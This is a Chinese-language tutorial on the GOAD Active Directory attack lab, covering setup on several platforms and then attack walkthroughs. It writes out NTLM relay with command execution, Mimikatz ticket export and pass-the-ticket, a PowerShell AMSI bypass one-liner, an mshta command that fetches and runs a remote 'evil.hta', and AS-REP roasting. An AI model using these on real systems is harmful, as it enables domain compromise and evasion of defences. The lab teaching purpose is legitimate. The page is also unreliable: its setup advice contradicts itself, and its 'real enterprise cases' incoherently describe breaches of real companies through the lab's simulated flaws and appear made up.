首页
/ GOAD实战指南:从环境搭建到漏洞利用的完整路径

GOAD实战指南:从环境搭建到漏洞利用的完整路径

2026-04-28 10:02:07作者:明树来

GOAD(Game of Active Directory)是一款专注于Active Directory渗透测试的虚拟实验室环境,提供从基础域环境到复杂跨域信任关系的完整模拟,帮助安全测试人员、红队成员及安全研究者在可控环境中实践AD攻防技术。本文将系统讲解GOAD的环境适配方案、真实攻防场景复现及企业级防御策略,为安全从业者提供从环境搭建到漏洞利用的全流程指导。

一、GOAD的核心价值与技术特性

1.1 跨平台部署能力

GOAD支持VirtualBox、VMware、Azure、AWS等多种虚拟化平台,通过统一的命令行工具实现环境的快速搭建与管理。相比同类工具如HackTheBox或TryHackMe,GOAD提供本地私有化部署方案,无需依赖外部服务即可构建完整的AD测试环境。

1.2 多层级域环境架构

GOAD模拟真实企业网络架构,包含根域(sevenkingdoms.local)、子域(north.sevenkingdoms.local)及跨域信任关系,支持复杂权限配置与组策略应用。架构设计覆盖从基础域控制器到成员服务器的完整企业网络拓扑。

1.3 内置漏洞场景库

项目集成20+常见AD漏洞场景,包括Kerberoasting、NTLM中继、无约束委派等攻击技术的可复现环境,每个场景均提供对应的攻击脚本与防御绕过方案,实现理论学习与实战操作的无缝衔接。

GOAD攻击路径流程图

二、环境适配指南:跨平台部署方案

2.1 Windows平台部署

硬件要求

  • 内存:至少16GB(推荐32GB)
  • 磁盘:100GB可用空间(SSD)
  • 处理器:支持虚拟化技术(Intel VT-x/AMD-V)

安装步骤

# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/go/GOAD
cd GOAD

# 安装依赖
choco install virtualbox vagrant ansible -y

# 启动基础环境
./goad.sh -p virtualbox -l GOAD-Light

⚠️注意事项:Windows平台需启用Hyper-V功能,且VirtualBox版本需≥6.1.26,避免与WSL2存在虚拟化冲突。

2.2 macOS平台部署

硬件要求

  • Apple Silicon或Intel处理器
  • 内存:16GB+
  • 磁盘:100GB可用空间

安装步骤

# 安装Homebrew依赖
brew install virtualbox vagrant ansible git

# 克隆项目并启动
git clone https://gitcode.com/gh_mirrors/go/GOAD
cd GOAD
./goad.sh -p vmware -l GOAD-Mini

💡专家提示:Apple Silicon用户需使用Parallels Desktop替代VirtualBox,通过--provider vmware参数指定虚拟化平台。

2.3 Linux平台部署

硬件要求

  • 内核版本≥5.4
  • 内存:16GB+
  • 磁盘:100GB可用空间(LVM分区推荐)

安装步骤

# Ubuntu/Debian系统依赖安装
sudo apt update && sudo apt install -y virtualbox vagrant ansible python3-pip

# 克隆项目并启动完整环境
git clone https://gitcode.com/gh_mirrors/go/GOAD
cd GOAD
sudo ./goad.sh -p virtualbox -l GOAD

三、真实攻防案例解析:常见漏洞场景复现

3.1 NTLM中继攻击实战

漏洞原理

NTLM中继攻击利用Windows NTLM认证机制缺陷,通过中继受害者的认证凭证访问目标服务。GOAD环境中已预置易受攻击的Web服务与文件共享,可直接用于攻击演示。

攻击步骤

# 启动Responder监听
sudo responder -I eth0

# 运行NTLM中继工具
impacket-ntlmrelayx -t 192.168.56.20 -smb2support -c "whoami"

NTLM中继攻击执行结果

防御策略

  • 启用SMB签名
  • 部署NTLMv2强制策略
  • 实施网络分段限制横向移动

3.2 无约束委派利用

漏洞原理

当计算机账户配置为无约束委派时,可请求并缓存域控制器的TGT票据,进而获取域管理员权限。GOAD环境中的SRV02服务器已配置此漏洞场景。

攻击步骤

# 使用Mimikatz导出TGT票据
mimikatz # sekurlsa::tickets /export

# 注入票据并访问域控
kerberos::ptt [0;12345]-0-0-40810000-Administrator@krbtgt-SEVENKINGDOMS.LOCAL.kirbi
dir \\DC01.sevenkingdoms.local\C$

⚠️注意事项:攻击需在域内主机执行,且需具有本地管理员权限。

四、进阶技巧:防御绕过与企业级防御策略

4.1 防御绕过技巧

AMSI绕过

# PowerShell AMSI绕过代码
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$b=$a.GetField('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true)

AppLocker绕过

利用白名单程序(如mshta.exe)执行恶意代码:

mshta.exe http://192.168.56.1:8080/evil.hta

4.2 企业级防御策略

身份认证强化

  • 实施多因素认证(MFA)
  • 部署密码保险箱管理特权账户
  • 启用Kerberos预认证

安全监控方案

  • 部署SIEM系统监控异常Kerberos票据请求
  • 启用Windows事件日志审计(ID 4688/4768/4776)
  • 定期进行漏洞扫描与渗透测试

五、真实企业案例分析

5.1 案例一:某金融机构AD权限提升事件

攻击者通过钓鱼邮件获取普通域用户权限,利用GOAD环境中模拟的MS17-010漏洞横向移动,结合无约束委派获取域管理员权限。事件暴露出目标企业缺乏有效的特权账户管理与漏洞补丁机制。

5.2 案例二:某制造业数据泄露事件

内部员工利用GOAD环境复现的ADCS ESC1漏洞,伪造证书获取域控访问权限,导致核心生产数据泄露。事件反映出企业对PKI基础设施安全管控的不足。

六、自测习题

1. 在GOAD环境中,如何利用AS-REP Roasting攻击获取用户哈希? 答案:使用impacket-getNPUsers工具枚举无需预认证的用户账户:
impacket-getNPUsers sevenkingdoms.local/ -usersfile users.txt -outputfile hashes.asreproast
2. 如何在GOAD中部署Apache Guacamole实现远程桌面访问? 答案:执行扩展模块安装命令:
./goad.sh -e guacamole 访问https://[GOAD-IP]:8080/guacamole即可使用Web化远程桌面

七、资源附录

  • 官方文档速查表:docs/mkdocs/docs/index.md
  • 攻击脚本库路径:ad/GOAD/scripts/
  • 漏洞靶场镜像:packer/vagrant/
  • 扩展模块列表:extensions/
登录后查看全文
热门项目推荐
相关项目推荐